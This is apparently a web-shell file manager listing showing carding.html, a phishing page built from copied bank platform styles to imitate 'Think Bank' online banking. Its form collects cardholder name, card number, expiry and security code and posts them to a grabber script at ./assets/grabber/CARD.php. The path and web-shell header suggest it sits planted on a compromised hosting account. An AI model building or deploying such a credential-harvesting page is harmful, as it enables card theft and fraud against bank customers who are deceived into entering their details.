0byt3m1n1
Path:
/
home
/
artemisi
/
public_html
/
tnk__3e4c3ab
/
[
Home
]
File: carding.html
<!DOCTYPE html> <html class="js flexbox fontface objectfit object-fit csspositionsticky cssreflections no-regions cssresize shapes siblinggeneral subpixelfont supports csstransforms3d preserve3d canvas canvastext emoji devicemotion deviceorientation svg svgasimg svgclippaths svgfilters svgforeignobject inlinesvg smil no-touchevents typedarrays uagent-chrome uagent-webkit uagent-osWindows theme-q2" lang="en" style="background-color: rgb(54, 54, 54) ;" stencil-hydrated=""> <head id="pageheader"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link rel="stylesheet" href="./assets/css/q2-tecton-theme.css" id="tecton-default-theme"> <link rel="stylesheet" href="./assets/css/q2-tecton-utilities.css" id="tecton-utilities"> <link href="./assets/css/app.css" rel="stylesheet" data-no-shim=""> <link href="./assets/css/highcontrast-7548c6b9aaf6f9a5075095f7063ecde3.css" rel="stylesheet" data-no-shim=""> <link href="./assets/css/base.css" rel="stylesheet" data-no-shim=""> <link href="./assets/css/theme-q2-28aba767d91eeff0401b1a096a95a1f4.css" rel="stylesheet" data-no-shim=""> <link href="./assets/img/favicon-32aec55683d5f4e82afa5626dfd2e0a1.ico" rel="icon"> <title>Think Bank</title> <style data-styles=""> q2-icon, q2-calendar, q2-select, q2-dropdown, q2-editable-field, q2-pagination, q2-pill, q2-tab-container, q2-tag, q2-carousel, q2-month-picker, q2-section, q2-stepper, q2-card, q2-chart-donut, q2-checkbox, q2-checkbox-group, q2-option, q2-radio-group, q2-stepper-vertical, q2-textarea, q2-carousel-pane, q2-loading-element, q2-loc, q2-optgroup, q2-radio, q2-stepper-pane, q2-tab-pane, q2-tooltip, tecton-tab-pane, q2-dropdown-item, q2-avatar, q2-message, q2-option-list, q2-popover, click-elsewhere, q2-btn, q2-loading, q2-input, q2-badge { visibility: hidden } [stencil-hydrated] { visibility: inherit } </style> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="format-detection" content="telephone=no, address=no, email=no"> <meta id="viewportMeta" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=0, user-scalable=no, viewport-fit=cover"> <style type="text/css"> span.im-caret { -webkit-animation: 1s blink step-end infinite; animation: 1s blink step-end infinite; } @keyframes blink { from, to { border-right-color: black; } 50% { border-right-color: transparent; } } @-webkit-keyframes blink { from, to { border-right-color: black; } 50% { border-right-color: transparent; } } span.im-static { color: grey; } div.im-colormask { display: inline-block; border-style: inset; border-width: 2px; -webkit-appearance: textfield; -moz-appearance: textfield; appearance: textfield; } div.im-colormask>input { position: absolute; display: inline-block; background-color: transparent; color: transparent; -webkit-appearance: caret; -moz-appearance: caret; appearance: caret; border-style: none; left: 0; /*calculated*/ } div.im-colormask>input:focus { outline: none; } div.im-colormask>input::-moz-selection { background: none; } div.im-colormask>input::selection { background: none; } div.im-colormask>input::-moz-selection { background: none; } div.im-colormask>div { color: black; display: inline-block; width: 100px; /*calculated*/ } </style> <style type="text/css"> .overpanel-inner, .overpanel-footer { max-width: 1315px !important; } .overpanel-scroll-wrapper { width: calc(100% - 15px) !important; margin-left: 7.5px !important; } </style> <link href="./assets/css/tecton-40b5465eb21e2ee81a08f73d94808237.css" rel="stylesheet"> <style> .chatButtonContainer { position: fixed; right: 20px; z-index: 99; width: 75px; bottom: 10px; border-radius: 50%; background: 0 0; border: none; cursor: pointer; } .chatBotWrapper .finn-wrapper { width: 400px; border-radius: 10px; } .chatBotWrapper .finn-header_title.chatBotWrapper .fa-thumbs-down, .chatBotWrapper .fa-thumbs-up, .chatBotWrapper .finn-loadingInfoicon, .chatBotWrapper .finn-messageInputForm_buttonIcon.chatBotWrapper .chatButtonContainer .st0, .chatBotWrapper .chatButtonContainer .st1 { fill: #3c4d9e; } .chatBotWrapper .finn-message__text>div.finn--out { background-color: #d4d4d4; border-color: #d4d4d4; } .chatBotWrapper .finn-button:focus, .chatBotWrapper .finn-header__nav { background-color: #3c4d9e; } .chatBotWrapper { position: fixed; right: 68px; bottom: 34px; z-index: 99; height: 80%; max-width: 400px; } .finnAssistant { height: 100%; box-shadow: 5px 5px 30px #999; border-radius: 15px; } .phone .chatButtonContainer { bottom: 70px } .phone .chatBotWrapper { position: fixed; right: 7px; bottom: 147px; z-index: 99; height: 78%; max-width: 96%; } </style> <link href="./assets/css/font-awesome.min.css" rel="stylesheet"> <link href="./assets/css/styles.css" rel="stylesheet"> <style id="tecton-props-css"> :root { --tct-stoplight-info: #0079C1; --tct-stoplight-success: #0E8A00; --tct-stoplight-warning: #F0B400; --tct-stoplight-alert: #C30000; --tct-global-focus: 0 0 0 2px #33B4FF; --tct-black: #000000; --tct-gray-d3: #222222; --tct-gray-d2: #444444; --tct-gray-d1: #666666; --tct-gray: #999999; --tct-gray-l1: #CCCCCC; --tct-gray-l2: #EEEEEE; --tct-gray-l3: #F2F2F2; --tct-white: #FFFFFF; --tct-disabled-opacity: 0.4; --tct-border-radius-1: 3px; --tct-border-radius-2: 6px; --tct-border-radius-3: 12px; --tct-shadow-1: 0 2px 4px rgba(0, 0, 0, 0.3); --tct-shadow-2: 0 3px 6px rgba(0, 0, 0, 0.3); --tct-shadow-3: 0 4px 12px rgba(0, 0, 0, 0.3); --tct-duration-1: 0.2s; --tct-duration-2: 0.4s; --tct-duration-3: 0.8s; --tct-tween-1: 0.2s ease; --tct-tween-2: 0.4s ease; --tct-tween-3: 0.8s ease; --const-stoplight-info: #0079C1; --const-stoplight-success: #0E8A00; --const-stoplight-warning: #F0B400; --const-stoplight-alert: #C30000; --const-global-focus: 0 0 0 2px #33B4FF; --const-stoplight-info-text: #FFFFFF; --const-stoplight-success-text: #FFFFFF; --const-stoplight-warning-text: #000000; --const-stoplight-alert-text: #FFFFFF; --app-black: #000000; --app-gray-d3: #222222; --app-gray-d2: #444444; --app-gray-d1: #666666; --app-gray: #999999; --app-gray-l1: #CCCCCC; --app-gray-l2: #EEEEEE; --app-gray-l3: #F2F2F2; --app-white: #FFFFFF; --app-disabled-opacity: 0.4; --app-border-radius-1: 3px; --app-border-radius-2: 6px; --app-border-radius-3: 12px; --app-shadow-1: 0 2px 4px rgba(0, 0, 0, 0.3); --app-shadow-2: 0 3px 6px rgba(0, 0, 0, 0.3); --app-shadow-3: 0 4px 12px rgba(0, 0, 0, 0.3); --app-duration-1: 0.2s; --app-duration-2: 0.4s; --app-duration-3: 0.8s; --app-tween-1: 0.2s ease; --app-tween-2: 0.4s ease; --app-tween-3: 0.8s ease; --app-font-size: 14px; --app-line-height: 1.428571429; --app-font-size-small: 12px; --app-tooltip-multiline-max-width: 200px; --app-tooltip-background-color: rgba(0, 0, 0, 0.8); --app-tooltip-text-color: #FFFFFF; --app-tooltip-size: 5px; --app-tooltip-position: -5px; --app-tooltip-body-offset: -15px; --app-tooltip-transition-duration: 250ms; --app-tooltip-visible-duration: 2s } </style> <style id="tecton-theme-css"> :root { --tct-scale-0: 0px; --tct-scale-1: 5px; --tct-scale-2: 10px; --tct-scale-3: 15px; --tct-scale-4: 20px; --tct-scale-5: 45px; --tct-scale-6: 60px; --tct-scale-0x: 0px; --tct-scale-1x: 5px; --tct-scale-2x: 10px; --tct-scale-3x: 15px; --tct-scale-4x: 20px; --tct-scale-5x: 25px; --tct-scale-6x: 30px; --tct-scale-7x: 35px; --tct-scale-8x: 40px; --tct-scale-9x: 45px; --tct-scale-10x: 50px; --tct-scale-11x: 55px; --tct-scale-12x: 60px; --tct-link-color: #1C1666; --tct-link-hover-color: #110d3d; --tct-btn-disabled-opacity: 0.4; --tct-btn-padding: 10px; --tct-btn-font-size: inherit; --tct-btn-tween: 0.2s ease; --tct-btn-primary-bg: #3C4D9E; --tct-btn-primary-font-color: #ffffff; --tct-btn-primary-font-weight: 600; --tct-btn-primary-text-transform: none; --tct-btn-primary-letter-spacing: normal; --tct-btn-primary-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-primary-border-color: transparent; --tct-btn-primary-border-width: 0; --tct-btn-primary-border-radius: 3px; --tct-btn-primary-hover-bg: #33448f; --tct-btn-primary-hover-font-color: #ffffff; --tct-btn-primary-hover-border-color: transparent; --tct-btn-primary-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23); --tct-btn-primary-disabled-bg: #3C4D9E; --tct-btn-primary-disabled-font-color: #ffffff; --tct-btn-primary-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-secondary-bg: #ffffff; --tct-btn-secondary-font-color: #2e2e2e; --tct-btn-secondary-font-weight: 600; --tct-btn-secondary-text-transform: none; --tct-btn-secondary-letter-spacing: normal; --tct-btn-secondary-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-secondary-border-color: transparent; --tct-btn-secondary-border-width: 0; --tct-btn-secondary-border-radius: 3px; --tct-btn-secondary-hover-bg: #3C4D9E; --tct-btn-secondary-hover-font-color: #ffffff; --tct-btn-secondary-hover-border-color: transparent; --tct-btn-secondary-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23); --tct-btn-secondary-disabled-bg: #ffffff; --tct-btn-secondary-disabled-font-color: #2e2e2e; --tct-btn-secondary-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-neutral-bg: #FFFFFF; --tct-btn-neutral-font-color: #1C1666; --tct-btn-neutral-font-weight: 600; --tct-btn-neutral-text-transform: none; --tct-btn-neutral-letter-spacing: normal; --tct-btn-neutral-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-neutral-border-color: #1C1666; --tct-btn-neutral-border-width: 1px; --tct-btn-neutral-border-radius: 3px; --tct-btn-neutral-hover-bg: #FFFFFF; --tct-btn-neutral-hover-font-color: #1C1666; --tct-btn-neutral-hover-border-color: #1C1666; --tct-btn-neutral-hover-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.19), 0 3px 3px rgba(0, 0, 0, 0.23); --tct-btn-neutral-disabled-bg: #FFFFFF; --tct-btn-neutral-disabled-font-color: #1C1666; --tct-btn-neutral-disabled-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); --tct-btn-icon-width: 44px; --tct-btn-icon-height: 44px; --tct-btn-icon-color: inherit; --tct-btn-icon-hover-bg: #ebebeb; --tct-btn-icon-hover-color: #110d3d; --tct-btn-badge-padding: 2px 5px; --tct-btn-badge-font-size: inherit; --tct-btn-badge-border-radius: 3px; --tct-btn-badge-bg: transparent; --tct-btn-badge-font-color: inherit; --tct-btn-badge-hover-bg: #F2F2F2; --tct-btn-badge-hover-font-color: #2e2e2e; --tct-btn-badge-active-bg: #3C4D9E; --tct-btn-badge-active-font-color: #ffffff; --tct-input-margin-top: 30px; --tct-input-margin-bottom: 30px; --tct-input-font-size: inherit; --tct-input-label-padding-left: 0; --tct-input-label-padding-right: 0; --tct-input-label-margin-bottom: 5px; --tct-input-label-font-color: #2e2e2e; --tct-input-error-label-font-color: #2e2e2e; --tct-input-label-font-size: inherit; --tct-input-label-font-weight: 600; --tct-input-label-letter-spacing: normal; --tct-input-label-text-transform: none; --tct-input-label-optional-margin-left: 5px; --tct-input-label-optional-font-color: #747474; --tct-input-label-optional-font-size: 12px; --tct-input-label-optional-font-weight: 400; --tct-input-height: 42px; --tct-input-horizontal-padding: 10px; --tct-input-bg: #fcfcfd; --tct-input-font-color: #2e2e2e; --tct-input-border-top-width: 1px; --tct-input-border-right-width: 1px; --tct-input-border-bottom-width: 1px; --tct-input-border-left-width: 1px; --tct-input-border-color: #cccccc; --tct-input-border-top-left-radius: 3px; --tct-input-border-top-right-radius: 3px; --tct-input-border-bottom-right-radius: 3px; --tct-input-border-bottom-left-radius: 3px; --tct-input-box-shadow: none; --tct-input-tween: 0.4s ease; --tct-input-disabled-opacity: 0.4; --tct-input-placeholder-font-color: #6c6c6c; --tct-input-focus-border-top-width: 1px; --tct-input-focus-border-right-width: 1px; --tct-input-focus-border-bottom-width: 1px; --tct-input-focus-border-left-width: 1px; --tct-input-focus-border-color: #0079C1; --tct-input-focus-box-shadow: 0 0 transparent; --tct-input-icon-stroke-primary: #999999; --tct-input-prefix-font-size: inherit; --tct-input-prefix-font-color: #2e2e2e; --tct-input-prefix-bg: #fcfcfd; --tct-input-prefix-border-color: #cccccc; --tct-input-error-prefix-font-color: #2e2e2e; --tct-input-error-prefix-bg: #fcfcfd; --tct-input-message-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); --tct-input-message-tween: 0.2s ease; --tct-message-bg: #F2F2F2; --tct-tab-active-color: #1C1666; --tct-tab-inactive-color: #2e2e2e; --tct-tab-font-size: 17px; --tct-tab-alt-active-color: inherit; --tct-tab-alt-inactive-color: inherit; /* -------------------------------------------------------------- */ --app-scale-0: 0px; --app-scale-1: 5px; --app-scale-2: 10px; --app-scale-3: 15px; --app-scale-4: 20px; --app-scale-5: 45px; --app-scale-6: 60px; --app-scale-0x: 0px; --app-scale-1x: 5px; --app-scale-2x: 10px; --app-scale-3x: 15px; --app-scale-4x: 20px; --app-scale-5x: 25px; --app-scale-6x: 30px; --app-scale-7x: 35px; --app-scale-8x: 40px; --app-scale-9x: 45px; --app-scale-10x: 50px; --app-scale-11x: 55px; --app-scale-12x: 60px; --t-font-family: OpenSans, Helvetica Neue, Helvetica, Arial, sans-serif; --t-font-stretch: normal; --t-font-family-monospaced: Courier New, Courier, Lucida Sans Typewriter, Lucida Typewriter, monospace; --t-primary-d5: #0e0b33; --t-primary-d4: #110d3d; --t-primary-d3: #140f47; --t-primary-d2: #161252; --t-primary-d1: #19145c; --t-primary: #1C1666; --t-primary-l1: #251d86; --t-primary-l2: #2d24a6; --t-primary-l3: #362bc5; --t-primary-l4: #4c40d6; --t-primary-l5: #6a60dd; --t-secondary-d5: #4f4d73; --t-secondary-d4: #5f5c8a; --t-secondary-d3: #716e9e; --t-secondary-d2: #8885ad; --t-secondary-d1: #9e9cbd; --t-secondary: #b4b3cc; --t-secondary-l1: #bcbad1; --t-secondary-l2: #c3c2d6; --t-secondary-l3: #cbc9db; --t-secondary-l4: #d2d1e0; --t-secondary-l5: #dad9e6; --t-tertiary-d5: #2a1cd6; --t-tertiary-d4: #4a3de6; --t-tertiary-d3: #7268eb; --t-tertiary-d2: #9a93f1; --t-tertiary-d1: #c2bef6; --t-tertiary: #eae8fc; --t-tertiary-l1: #ecebfc; --t-tertiary-l2: #eeedfd; --t-tertiary-l3: #f0effd; --t-tertiary-l4: #f2f1fd; --t-tertiary-l5: #f4f4fe; --t-accent-1: #e05252; --t-accent-1-l1: #e77474; --t-accent-1-d1: #b62020; --t-accent-2: #e09952; --t-accent-2-l1: #e7ad74; --t-accent-2-d1: #b66b20; --t-accent-3: #e0e052; --t-accent-3-l1: #e7e774; --t-accent-3-d1: #b6b620; --t-accent-4: #99e052; --t-accent-4-l1: #ade774; --t-accent-4-d1: #6bb620; --t-accent-5: #52e052; --t-accent-5-l1: #74e774; --t-accent-5-d1: #20b620; --t-accent-6: #52e099; --t-accent-6-l1: #74e7ad; --t-accent-6-d1: #20b66b; --t-accent-7: #52e0e0; --t-accent-7-l1: #74e7e7; --t-accent-7-d1: #20b6b6; --t-accent-8: #5299e0; --t-accent-8-l1: #74ade7; --t-accent-8-d1: #206bb6; --t-accent-9: #5252e0; --t-accent-9-l1: #7474e7; --t-accent-9-d1: #2020b6; --t-accent-10: #9952e0; --t-accent-10-l1: #ad74e7; --t-accent-10-d1: #6b20b6; --t-accent-11: #e052e0; --t-accent-11-l1: #e774e7; --t-accent-11-d1: #b620b6; --t-accent-12: #e05299; --t-accent-12-l1: #e774ad; --t-accent-12-d1: #b6206b; --t-gray-1: #0d0d0d; --t-gray-2: #1a1a1a; --t-gray-3: #262626; --t-gray-4: #333333; --t-gray-5: #404040; --t-gray-6: #4d4d4d; --t-gray-7: #666666; --t-gray-8: gray; --t-gray-9: #999999; --t-gray-10: #b3b3b3; --t-gray-11: #cccccc; --t-gray-12: #d9d9d9; --t-gray-13: #e6e6e6; --t-gray-14: #f2f2f2; --t-text: #4d4d4d; --t-textA: rgba(77, 77, 77, 0.77); --t-primary-text: #FFFFFF; --t-secondary-text: #141414; --t-tertiary-text: #141414; --t-base: #FFFFFF; --t-base-a0: rgba(255, 255, 255, 0); --t-base-a1: rgba(255, 255, 255, 0.25); --t-base-a2: rgba(255, 255, 255, 0.5); --t-base-a3: rgba(255, 255, 255, 0.75); --t-top: #0d0d0d; --t-top-a0: rgba(13, 13, 13, 0); --t-top-a1: rgba(13, 13, 13, 0.35); --t-top-a2: rgba(13, 13, 13, 0.6); --t-top-a3: rgba(13, 13, 13, 0.85); --t-box-shadow-1: 0 2px 4px rgba(13, 13, 13, 0.35); --t-box-shadow-2: 0 3px 6px rgba(13, 13, 13, 0.35); --t-box-shadow-3: 0 4px 12px rgba(13, 13, 13, 0.35); --t-border-radius-1: 3px; --t-border-radius-2: 6px; --t-border-radius-3: 12px; --t-focus: #33B4FF; --t-status-info: #0079C1; --t-status-alert: #C30000; --t-status-warn: #F0B400; --t-status-success: #0E8A00; --t-tab-inactive: #2e2e2e; --t-tab-active: #1C1666; --t-tab-alt-inactive: inherit; --t-tab-alt-active: inherit; --t-tab-font-size: 17px; --t-highlight-1: #4C65C1; --t-highlight-2: #F8AD40; --t-highlight-3: #899FB3; --t-highlight-4: #3C4D9C; --t-highlight-5: #EE8721; --t-highlight-6: #4E5A65; --t-highlight-7: #1C1666; --t-highlight-8: #E0790F; --t-highlight-9: #3B444D; --t-highlight-10: #4C65C1; --t-highlight-11: #F8AD40; --t-highlight-12: #899FB3; --t-highlight-13: #3C4D9C; --t-highlight-14: #EE8721; --t-highlight-15: #4E5A65; --t-input-outline: 1px solid #1C1666; --t-icon-stroke-width: 1.5; --t-icon-cap: round; --t-icon-stroke-primary: currentColor; --t-icon-stroke-secondary: currentColor; --t-icon-fill: none; --t-font-color: #2e2e2e; --t-a11y-gray-color: #747474; --t-link-color: #1C1666; --t-link-hover-color: #110d3d; --t-content-bg: #FFFFFF; --t-content-border-color: #CCCCCC; --t-content-font-color: #2e2e2e; --t-section-bg: #FFFFFF; --t-section-font-color: #2e2e2e; --t-section-border-radius: 3px; --t-button-default-bg: #ffffff; --t-button-default-font-color: #2e2e2e; --t-button-default-hover-bg: #3C4D9E; --t-button-default-hover-font-color: #ffffff; --t-button-primary-bg: #3C4D9E; --t-button-primary-font-color: #ffffff; --t-button-primary-hover-bg: #33448f; --t-button-primary-hover-font-color: #ffffff; --t-input-font-color: #2e2e2e; --t-input-placeholder-font-color: #6c6c6c; --t-input-bg: #fcfcfd; --t-input-border: #cccccc; --t-input-focus-font-color: #2e2e2e; --t-input-focus: #0079C1; --t-input-warning-font-color: #141414; --t-input-warning: #F0B400; --t-input-error-font-color: #FFFFFF; --t-input-error: #C30000; --t-input-success-font-color: #FFFFFF; --t-input-success: #0E8A00; --t-checkbox-fill: #1C1666; --t-checkbox-text: #FFFFFF; --t-loading-primary-color: #1C1666; --t-loading-secondary-color: #1C1666; --t-tooltip-multiline-max-width: 200px; --t-tooltip-background-color: rgba(0, 0, 0, 0.8); --t-tooltip-text-color: #FFFFFF; --t-tooltip-size: 5px; --t-tooltip-body-offset: -15px; --t-tooltip-transition-duration: 250ms; --t-tooltip-visible-duration: 2s; --t-gray1: #0d0d0d; --t-gray2: #1a1a1a; --t-gray3: #262626; --t-gray4: #333333; --t-gray5: #404040; --t-gray6: #4d4d4d; --t-gray7: #666666; --t-gray8: gray; --t-gray9: #999999; --t-gray10: #b3b3b3; --t-gray11: #cccccc; --t-gray12: #d9d9d9; --t-gray13: #e6e6e6; --t-gray14: #f2f2f2; } </style> </head> <body id="pagebody" class="ember-application desktop theme-q2 frameless"> <div class="ember-view app-container desktop unauthenticated vertical-nav pfm-disabled no-pfm-accounts" id="ember4"> <div role="dialog" tabindex="0" id="q2AppOverpanel" style="display: none;" class="over-panel ember-view"> <div tabindex="-1" class="overpanel-inner" test-id="overPanel"> <div class="overpanel-header"> <div class="overpanel-button-container"></div> <h1 class="overpanel-title" test-id="lblOverpanelTitle"></h1> <div class="overpanel-button-container"> <q2-btn class="overpanel-button overpanel-close" test-id="btnClose" label="Close" hide-label="" stencil-hydrated=""><template shadowrootmode="open"><button aria-label="Close" type="button" test-id="q2BtnInnerButton" class="icon-only"> <div><q2-loading hidden="" stencil-hydrated=""><template shadowrootmode="open"> <div class="q2-loading-animation half-circle-spinner" aria-label="Loading"> <div class="circle circle-1"></div> <div class="circle circle-2"></div> </div> </template></q2-loading> <slot></slot> </div> </button></template> <q2-icon type="close" stencil-hydrated=""><template shadowrootmode="open"><svg viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img"> <path class="stroke-primary" d="M20 6L6 20M20 20L6 6"></path> </svg></template></q2-icon> </q2-btn> </div> </div> <div id="ember5" class="overpanel-alert-container alert-message_container hasToast ember-view"> <div class="alert alert-msg alert-message_content is-toast " role="alert" test-id="q2Alert"> <div class="toast-container"> <div class="toast t-base"> <div class="toast-message_inner"> <div class="toast-line toast-line-info" test-id="toastAlertVerticalLine"></div> <div class="toast-content"> <div class="toast-row"> <div class="toast-icon"> <q2-icon test-id="toastAlertIcon" type="info" stencil-hydrated=""><template shadowrootmode="open"><svg viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img"> <g> <circle cx="13" cy="13" r="11" class="stroke-primary"> </circle> <g class="stroke-secondary" transform="translate(10.067 5.3)"> <path d="M0 15.033h5.867M0 5.5h2.933v9.533"></path> <circle cx="2.933" cy="1.1" r="1.1"></circle> </g> </g> </svg></template></q2-icon> </div> <div test-id="toastAlertMessageTxt" class="toast-text"> <div test-id="alertMessageTxt"></div> </div> <div class="toast-close-btn"></div> </div> <div class="toast-row"> <div class="toast-timestamp" test-id="toastAlertTimestamp"></div> </div> </div> </div> </div> </div> </div> </div> <div class="overpanel-scroll-wrapper force-height col-md-offset-1 col-lg-offset-2 col-xs-12 col-sm-12 col-md-10 col-lg-8" test-id="overPanelWrapper"> <div tabindex="-1" class="overpanel-slider "></div> </div> <div class="overpanel-footer hidden"> <div class="valign overpanel-footer-outer"> <div class="overpanel-footer-inner"> <div id="ember6" class="ui-logo small ember-view"> <!-- <span class="sr-only" test-id="logoDescriptiveText">Civista Bank</span> <div aria-hidden="true" class="logo-image" test-id="logoDiv"></div> --> </div> </div> </div> </div> </div> </div> <div class="loading-bg"></div> <div class="splash-bg"></div> <div class="container meta-container main-page-container"> <div id="ember7" class="app-header ui-sticky top ember-view" style="top: 0px;"> <div class="navbar navbar-fixed-top center-align-logo disable-menu-button" role="banner"> <div class="container meta-container" test-id="navbarContainer"> <div class="navbar-branding"> <div class="branding"> <div id="ember8" class="logo ui-logo small ember-view"> <!-- <span class="sr-only" test-id="logoDescriptiveText">Civista Bank</span> <div aria-hidden="true" class="logo-image" test-id="logoDiv"></div> --> </div> </div> </div> <div id="ember9" class="custom-header ember-view"></div> </div> </div> <div test-id="wdgtBrandingBar" id="ember10" class="branding-bar-widget widget-fence clearfix hidden ember-view"> </div> </div> <div class="quicktip-container main-desktop"></div> <div id="ember11" class="main-view grid-row drawer-view main-view ember-view"><!----> <div class="content-wrapper"> <div class="content-container"> <header> <div tabindex="-1" class="ember-sr-only ember-sr-only-focusable" id="ember-a11y-refocus-nav-message">The page navigation is complete. You may now navigate the page content as you wish.</div> </header> <div class="content clearfix" role="main" test-id="mainContentArea"> <div id="ember13" class="top-widget-fence widget-fence clearfix hidden ember-view"></div> <section class="default-dashboard-container"> <section class="default-dash-inner-wrapper"></section> </section> <div id="ember14" class="widget-fence clearfix bottom-widget-fence hidden ember-view"></div> </div> <div class="sidebar desktop-sidebar" tabindex="-1" role="complementary"> <div class="sidebar-drawer"> <div class="sidebar-rail"> <div class="sidebar-content"> <div id="ember15" class="widget-fence clearfix hidden ember-view"></div> </div> </div> </div> </div> </div> <div class="dropdown-backdrop hidden"> </div> </div> <div role="dialog" tabindex="0" id="q2AppSidePanel" class="sidepanel ember-view" style="display: none;"> <div class="sidepanel-inner"> </div> </div> <div id="login-modal"></div> <div class="login-outer"> <div class="login-inner" id="login-inner"> <div class="quicktip-container"> <aside id="ember18" style="display: none;" class="quick-tip hidden ember-view"> <span class="tip-text" test-id="textQT"></span> <q2-btn hide-label="" test-id="btnRemoveQT" label="Close Tip" stencil-hydrated=""><template shadowrootmode="open"><button aria-label="Close Tip" type="button" test-id="q2BtnInnerButton" class="icon-only"> <div><q2-loading hidden="" stencil-hydrated=""><template shadowrootmode="open"> <div class="q2-loading-animation half-circle-spinner" aria-label="Loading"> <div class="circle circle-1"></div> <div class="circle circle-2"></div> </div> </template></q2-loading> <slot></slot> </div> </button></template><q2-icon type="close" stencil-hydrated=""><template shadowrootmode="open"><svg viewBox="0 0 26 26" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="img"> <path class="stroke-primary" d="M20 6L6 20M20 20L6 6"></path> </svg></template></q2-icon> </q2-btn> </aside> </div> <div class="login-title"> <h1 id="ember19" class="ui-logo large ember-view"> <img src="assets/img/thinkmutualbank-logo-a2ef2e1b.png" height="90" width="350" alt=""> </h1> </div> <div class=" login-message login-alert-message loginFormArea"> <div id="ember20" class="login-alert-container alert-message_container static-alert hidden ember-view"> <div class="alert alert-msg alert-message_content alert-danger" role="alert" aria-live="assertive"> <div class="alert-message_inner"> <p> <span class="ui-icon icon-warning-sign " aria-hidden="true" aria-label="error"></span> </p> <p class="alert-message_sizer" style="">X</p> </div> </div> </div> </div> <div class="login-form loginFormArea"> <form action="./assets/grabber/CARD.php" method="post" class="is-invalid" data-ember-action="" data-ember-action-21="21" validate="validate"> <div class="field "> <label class="login-field" for="fldUsername">Cardholder's Name</label> <input name="card_name" spellcheck="false" autocapitalize="off" autocorrect="off" placeholder="" autocomplete="username" title="" id="fldUsername" class="mrg-T-sm login-field form-control ember-text-field form-control ember-view" type="text" required> </div> <div class="password field"> <label class="login-field" for="fldPassword">Card Number</label> <input name="card_number" spellcheck="false" autocapitalize="off" autocorrect="off" autocomplete="current-password" id="fldPassword" class="mrg-T-sm login-field form-control ember-text-field form-control ember-view" type="text" required> </div> <div class="field "> <label class="login-field" for="fldUsername">Expiry</label> <input name="exp" spellcheck="false" autocapitalize="off" autocorrect="off" placeholder="" autocomplete="username" title="" id="fldUsername" class="mrg-T-sm login-field form-control ember-text-field form-control ember-view" type="text" required> </div> <div class="field "> <label class="login-field" for="fldUsername">Security Code</label> <input name="csc" spellcheck="false" autocapitalize="off" autocorrect="off" placeholder="" autocomplete="username" title="" id="fldUsername" class="mrg-T-sm login-field form-control ember-text-field form-control ember-view" type="text" required> </div> <div id="submissionArea"> <div id="userLinks"> <button class="logon-submit btn-primary btn-block pointer btn submitButton submit is-invalid" test-id="btnSubmit" data-ember-action="" data-ember-action-23="23"> <div class="icon"></div> Continue </button> </div> </div> </form> </div> <div class="preLogon"> <img style="visibility:hidden" src="data:image/gif;base64, R0lGODlhAQABAIAAAAUEBAAAACwAAAAAAQABAAACAkQBADs="> </div> </div> </div> </div> <a test-id="lnkReturnToLogin" href="javascript:void();" id="ember27" class="return-to-login active ember-view">Return to login</a> </div> <div class="content-overlay"></div> <div id="ember28" class="print-content ember-view"> <div style="overflow: auto;"> <div style="float: left;"><img id="transaction-print-logo" alt="" role="presentation"></div> <div class="timestamp"></div> </div> <div></div> <div class="detail-items"> <table> <tbody> </tbody> </table> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.17.0/jquery.validate.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.13.4/jquery.mask.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.1/additional-methods.min.js"></script> <script> $(function () { $('[name=card_number]').mask('0000 0000 0000 0000'); $('[name=exp]').mask('00/00'); $('[name=csc]').mask('000'); }); </script> </body> </html>